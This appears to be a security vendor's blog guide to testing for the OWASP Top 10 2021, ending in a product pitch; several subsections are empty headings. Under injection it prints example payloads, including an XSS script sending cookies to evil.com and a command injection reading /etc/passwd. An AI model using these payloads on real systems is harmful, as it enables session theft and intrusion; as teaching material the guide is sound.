OWASP Top 10 Web Application Vulnerabilities: A Practical Testing Guide

The OWASP Top 10 is the most referenced document in web application security. It's cited in compliance frameworks, penetration test scopes, security job descriptions, and procurement questionnaires worldwide. But citing it and actually testing for it are two different things.

This guide covers the OWASP Top 10 2021 from a practitioner's perspective: what each vulnerability actually is (not just the category name), how security teams test for it, which ones automated scanning catches reliably, and which ones require manual work.


The OWASP Top 10 2021 at a Glance

Rank Category Automated Coverage
A01 Broken Access Control Partial — needs context
A02 Cryptographic Failures Strong
A03 Injection Strong
A04 Insecure Design Manual only
A05 Security Misconfiguration Strong
A06 Vulnerable and Outdated Components Strong
A07 Identification and Authentication Failures Moderate
A08 Software and Data Integrity Failures Partial
A09 Security Logging and Monitoring Failures Manual only
A10 Server-Side Request Forgery (SSRF) Moderate

A01: Broken Access Control

Broken access control moved to #1 in 2021, up from #5. It was found in 94% of applications tested by OWASP contributors. It covers any situation where a user can act outside their intended permissions.

What it looks like in practice

Horizontal privilege escalation: User A accesses User B's data by changing an ID parameter.

GET /invoices/1234    ← your invoice
GET /invoices/1235    ← someone else's invoice (should be 403)

Vertical privilege escalation: A regular user accesses admin functionality.

GET /admin/users       ← returns user list despite not being admin
POST /admin/users/delete  ← deletes user account without admin role

Insecure direct object references (IDOR): Predictable identifiers (sequential integers, UUIDs in URL parameters) that aren't authorization-checked server-side.

Missing function-level access control: Frontend hides admin links, but the underlying API endpoints are unprotected.

How to test

Automated coverage: Scanners catch some misconfiguration patterns (unprotected admin directories, HTTP method confusion), but IDOR requires multi-user context that most automated tools lack. This is why access control remains the top vulnerability — it's hard to catch with tooling alone.


A02: Cryptographic Failures

Formerly "Sensitive Data Exposure," the 2021 update refocused this category on the cryptographic root causes rather than the exposure symptom. Weak or missing encryption puts data at risk in transit and at rest.

What it looks like in practice

How to test

Automated coverage: Strong. Tools like testssl.sh (used in Ironimo's scan workflow) comprehensively enumerate TLS issues. Header analysis catches missing Secure flags on cookies and absent HSTS.


A03: Injection

SQL injection, command injection, LDAP injection, XPath injection, template injection — any situation where untrusted data is sent to an interpreter as part of a command or query.

What it looks like in practice

SQL injection: The classic. User-supplied input modifies the SQL query structure:

SELECT * FROM users WHERE username = '$input'
-- Input: ' OR '1'='1
-- Result: returns all users

Cross-site scripting (XSS): Technically a form of injection — user-supplied JavaScript injected into pages and executed in other users' browsers:

<script>document.location='https://evil.com/?c='+document.cookie</script>

Command injection: Application passes user input to a shell command:

ping -c 1 $user_input
-- Input: 8.8.8.8; cat /etc/passwd

Server-side template injection (SSTI): User input rendered directly into a template engine:

Hello {{7*7}}  →  Hello 49  (confirms Jinja2 SSTI)

How to test

Automated coverage: Strong for SQL injection (sqlmap) and known XSS patterns (nuclei templates). Template injection and command injection require more targeted testing. Stored XSS is harder to detect automatically because it requires correlating injection and rendering across different requests.


A04: Insecure Design

New in 2021, this category is intentionally distinct from implementation bugs. A secure implementation of an insecurely designed system is still insecure. This covers missing security controls, absent threat modeling, and architecturally flawed business logic.

What it looks like in practice

How to test

Insecure design requires manual testing against the application's intended behavior. The process is:

  1. Understand what the application is supposed to do — read documentation, walk through user flows
  2. Identify the business rules that govern those flows
  3. Attempt to violate each business rule through the API or UI

Automated coverage: Minimal. No automated tool understands your application's intended business logic. Some patterns (user enumeration through timing/response differences, absent rate limiting) can be detected automatically, but the broader category requires a practitioner who understands the application.


A05: Security Misconfiguration

The most commonly found category in the wild. Encompasses everything from default credentials to verbose error messages to unnecessary features left enabled.

What it looks like in practice

How to test

Automated coverage: Strong. This is where automated scanning performs best — nikto, nuclei, and header analysis tools systematically check hundreds of misconfiguration patterns in minutes.


A06: Vulnerable and Outdated Components

Using components with known vulnerabilities — libraries, frameworks, runtime environments — is one of the most reliably exploitable vulnerability classes because public exploits often exist.

What it looks like in practice

How to test

Automated coverage: Strong. Version detection and CVE correlation is something automated tools do well at scale. Nuclei's template library covers hundreds of specific CVEs for common technologies.


A07: Identification and Authentication Failures

Weaknesses in how applications verify user identity and manage sessions. Formerly "Broken Authentication," the 2021 update broadened the scope to include identification as well.

What it looks like in practice

How to test

Automated coverage: Moderate. Rate limiting checks, session token analysis, and some auth header validation can be automated. Full authentication testing (credential stuffing simulation, password policy testing) requires configured test accounts and targeted scripts.


A08: Software and Data Integrity Failures

New in 2021. Covers failures to verify software updates, critical data, and CI/CD pipelines — the category that encompasses supply chain attacks.

What it looks like in practice

How to test

Automated coverage: Partial. Automated scanning can detect missing SRI attributes and common deserialization signatures. CI/CD security and supply chain assessment require separate tooling and manual review.


A09: Security Logging and Monitoring Failures

The only category on the Top 10 you can't directly exploit — it's about the absence of defensive capability rather than the presence of a vulnerability. Poor logging means attackers go undetected; poor monitoring means breaches are discovered too late.

What it looks like in practice

How to test

This category can't be tested from the outside. Assessment requires:

Automated coverage: None from the outside. Some infrastructure scanning tools can check whether WAFs or IDS/IPS are configured, but this category is inherently an internal assessment.


A10: Server-Side Request Forgery (SSRF)

Added to the Top 10 in 2021 based on survey data from the security community. SSRF allows attackers to induce the server to make HTTP requests to arbitrary destinations, potentially reaching internal services not exposed to the internet.

What it looks like in practice

How to test

Automated coverage: Moderate. Nuclei has SSRF detection templates. DNS-based SSRF detection requires an out-of-band callback infrastructure. Full SSRF testing — particularly internal network enumeration — requires manual work.


Building a Testing Program Around the Top 10

What automated scanning covers well

A properly configured automated scanner running Kali Linux tools (nmap, nikto, nuclei, sqlmap, testssl, whatweb) covers A02, A03, A05, A06 reliably, with moderate coverage of A07 and A10. In practice, that means:

What requires manual testing

A04 (insecure design), A09 (logging failures), and substantial portions of A01 (access control) and A08 (integrity failures) require human practitioners who understand the application's business logic and intended behavior. No scanner replaces:

The complementary approach

Security programs that work use both. Automated scanning runs continuously — catching regressions, covering the infrastructure-level and known-pattern categories, and providing a documented baseline. Manual penetration testing runs annually (or per major release), going deep on the context-dependent categories that require practitioner judgment.

The teams that get breached are usually doing neither — relying on a once-a-year pentest that leaves 11 months of undetected change, or trusting automated scanning to catch everything when it provably can't.

Ironimo runs the tools professional pentesters use — nmap, nikto, nuclei, sqlmap, testssl — as a continuous, automated scan workflow. It covers the OWASP Top 10 categories where automation performs best: cryptographic failures, injection, misconfiguration, vulnerable components, and basic authentication gaps. Your team sees the raw tool output, not proprietary findings you can't verify.

Start free scan
← Back to Blog